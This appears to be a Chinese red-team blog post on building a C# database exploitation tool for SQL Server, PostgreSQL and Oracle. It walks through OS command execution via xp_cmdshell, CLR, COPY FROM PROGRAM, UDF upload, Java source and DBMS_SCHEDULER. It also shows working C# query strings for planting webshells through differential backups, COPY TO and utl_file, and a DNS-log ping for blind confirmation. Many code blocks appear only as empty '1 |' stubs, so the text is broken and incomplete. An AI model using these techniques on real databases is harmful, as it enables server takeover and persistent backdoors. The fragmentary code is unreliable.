0x00 前言
起因是在某红队项目中,获取到Oracle数据库密码后,利用Github上的某数据库利用工具连接后,利用时执行如 tasklist /svc 、net user 等命令时出现 ORA-24345: 出现截断或空读取错误,且文件管理功能出现问题,无法上传webshell,因此萌生了重写利用工具的想法。
大概耗时十天,顺带手把 postgresql 和 sql server 这两个护网中的常见数据库的利用也写了。
因为要做图形化,所以选择使用 C#。
github地址:Ryze-T/Sylas: 数据库综合利用工具 (github.com)
0x01 Sql Server
1.1 文件查看
目录查看
sql server 的目录查看比较简单,代码为:
sqlCmd.CommandText = String.Format("exec xp_dirtree '{0}',1,1",path);
第一个 1 指的是目录深度,只看查询文件夹下的,不再列出更深层次的目录,第二个 1 指的是将文件也列出来
文件查看
文件查看用的是 openrowset(),在官方文档中有一句话,使用 BULK 可以从文件中读取数据,格式如下:
1 |
|
这里有一个 SINGLE_CLOB,同样可选的选项还有 SINGLE_BLOB 和 SINGLE_NCLOB,三个的含义是读出的文件内容以 varchar、varbinary 和 nvarchar 三种格式返回,在 C# 里常用的读取数据库查询返回结果的是语句是
1 |
|
因此用 SINGLE_BLOB 可以满足 GetString()。
1.2 命令执行
命令执行的方法有这里使用了三种:xp_cmdshell、sp_oacreate、CLR。
xp_cmdshell
老生常谈,最通用的方法。
1 |
|
sp_oacreate
无回显的方法,也是sqlmap中默认集成的方法之一:
1 |
|
CLR
Microsoft SQL Server 2005之后,微软实现了对 Microsoft .NET Framework 的公共语言运行时(CLR)的集成。 CLR 集成使得现在可以使用 .NET Framework 语言编写代码,从而能够在 SQL Server 上运行。
编写过程如下:
在 visual studio 中安装数据存储和处理工具集:
新建 sql server 数据库项目:
在项目属性中设置创建脚本文件:
在其中编写代码后生成,在生成的文件夹下可以看到一个 sql 文件,打开后其中就有将该dll通过十六进制导入到 mssql 中的sql语句:
1 |
|
在执行前打开 CLR并设置数据库为 trustworthy:
1 |
|
然后执行导出的语句,并创建 procedure:
1 |
|
通过执行 EXEC SqlCmdExec ‘whoami’ 可以做到可回显的代码执行:
1.3 写webshell
写webshell采用的两种方法:Log备份和差异备份,这两种方法其实都属于有损写文件,因此其中会包含很多其他字符,因此用来写webshell合适,用来当做文件上传的功能不合适,如果想文件上传最合适的其实还是 Ole Automation Procedures,调用 ADODB.Stream。写 webshell前两个就可以满足,更推荐用 Log备份,体积更小。差异备份和Log备份只要是db_owner 就可以满足,并不一定需要 dba。
Log 备份
Log 备份需要先更新数据库为恢复模式,然后创建一个表,提前备份一次后,在表中插入webshell的十六进制,再备份一次,代码如下:
1 |
|
工具默认给的十六进制webshell是原版冰蝎3.0的aspx版本webshell,结果如图:
差异备份
代码如下:
sqlCmd.CommandText = String.Format("backup database {0} to disk = 'C:/windows/temp/1.bak';", databaseName);
sqlCmd.CommandText = String.Format("create table {0}.[dbo].[test7913] ([cmd] [image]);", databaseName);
sqlCmd.CommandText = String.Format("insert into {0}.dbo.test7913(cmd) values({1});",databaseName,webshellCode);
sqlCmd.CommandText = String.Format("backup database {0} to disk='{1}' WITH DIFFERENTIAL,FORMAT;", databaseName, uploadPath);
结果如上图。
0x02 Postgresql
postgresql 相对简单,但是在UDF提权的过程中也有一些坑点
2.1 文件查看
查看目录
1 |
|
查看文件
1 |
|
2.2 webshell 上传
string sql = String.Format("copy (select '{1}') to '{0}';",uploadPath,fileContent);
2.3 命令执行
postgresql 的命令执行有两种,分别是cve-2019-9193和udf提权
CVE-2919-9193
从9.3版本开始,Postgres新增了一个COPY TO/FROM PROGRAM
功能,允许数据库的超级用户以及pg_read_server_files
组中的任何用户执行操作系统命令
因此利用这个特性可以做到9.3版本后的任意代码执行,具体代码实现:
1 |
|
udf
postgresql的UDF提权跟Mysql有区别,由于在动态链接库的编写过程中需要 #include <postgres.h>
,每个版本的 postgres.h 都不一样,因此针对每个版本都需要在特定版本的 postgresql-server 环境下重新编译。正常安装的 postgresql 并不包含 postgres.h,要安装 postgresql-server-dev-xx。
代码在 sqlmap 的 github中,项目名称叫 udfhack。
编译时命令是:
1 |
|
此时需要将 udf.so 传入到目标机器中,这里采用的是 lo_create 和 lo_export。lo_create 的作用是新建一个大型对象并返回该对象的 oid,lo_export 的作用是导出该对象。对象可以通过 insert 填充内容。
在insert的过程中,需要将 udf.so 分割成 2048b 的若干个文件,转换成十六进制后使用 insert 插入到对象中,这里要分割的原因是因为每一次的insert最多只能插入 2048 个字节,若不满会用 0 进行填充。
这里附上之前收藏的文件分割的代码和文件转hex的代码:
1 |
|
1 |
|
SQL实现为:
1 |
|
部署环境比较麻烦,所以只做了 Linux 下的 postgresql-12 的 udf 提权,作为学习使用
0x03 Oracle
3.1 命令执行
Oracle 命令执行主要使用的是 DBMS_XMLQUERY 和 DBMS_SCHEDULER。
DBMS_XMLQUERY
利用 DBMS_XMLQUERY.newcontext() 可以执行任意 sql 语句,因此在无需堆叠的情况下,通过 select dbms_xmlquery.newcontext(sql) from dual 就可以创建 JAVA source 和 存储过程实现 JAVA 功能,通过调用可以实现基于JAVA的代码执行。
创建过程如下:
1 |
|
实现效果如图:
但执行 taklist /svc 仍然会出错,主要是因为在执行命令返回的字符串中存在截断,某些特定的命令,通过 wmic 查询也可以实现,因此设计了快速执行按钮,调用 wmic 实现查询进程、查看用户、查看补丁和查看系统版本,如图:
DBMS_SCHEDULER
DBMS_SCHEDULER 可以定时执行任务,格式如下:
1 |
|
因此通过此方法可以执行任意命令,但有两个需要注意的点:
- 无回显
- 由于执行时并未规定 cmd 路径,因此执行时输入的命令应为:ping.exe xxx.dnslog.cn 或 cmd.exe /c echo 1 > 1.txt
由于无回显,在现在网上流传的 Oracle 连接工具中都没有判断命令是否执行成功的标识。实际上在 CREATE_JOB 后是可以通过
1 |
|
来判断 JOB 是否创建成功以及是否在运行或者已经运行结束的,因此根据下列逻辑就可以判断出命令是否成功执行:
1 |
|
3.2 文件管理
查看目录
查看目录采取的也是DBMS_XMLQUERY.newcontext() 创建 JAVA source 和 存储过程实现 JAVA功能。
1 |
|
实现如图:
上传文件
从根本上来说,由于可以创建 JAVA source,理论上所有的功能都可以通过这个方法来实现,但是这里上传文件利用的是 utl_file。
Oracle 官方介绍中也说了, utl_file 可以实现读取或写入操作系统文本文件,由于使用 utl_file.open() 打开文件最大字符数为32767,因此上传时最多只能上传32KB的文本文件。这个功能用来上传webshell已经是足够了。
目标路径只需要填写需要上传的文件夹,点击选择上传后可以打开文件夹选定要上传的文件,上传后的文件名与打开的文件一致,上传成功后 Log窗口会有提示:
代码为:
string sql = "create or replace directory TESTFILE as '" + path + "'";
string sql2 = "DECLARE \nfilehandle utl_file.file_type;\nbegin\nfilehandle := utl_file.fopen('TESTFILE', '" + filename + "', 'w',32767); utl_file.put(filehandle, '" + file + "');utl_file.fclose(filehandle);end; ";
3.3 后续
由于Oracle 特性,可以做到任意JAVA代码执行,做到这个相当于可以自己写入JAVA代码,完成任意功能,现在网上关于 Oracle 连接利用的工具大多数都是采用这一方法。因此工具后续的目标是把这个功能从固定代码改成可自定义代码,实现一劳永逸的效果。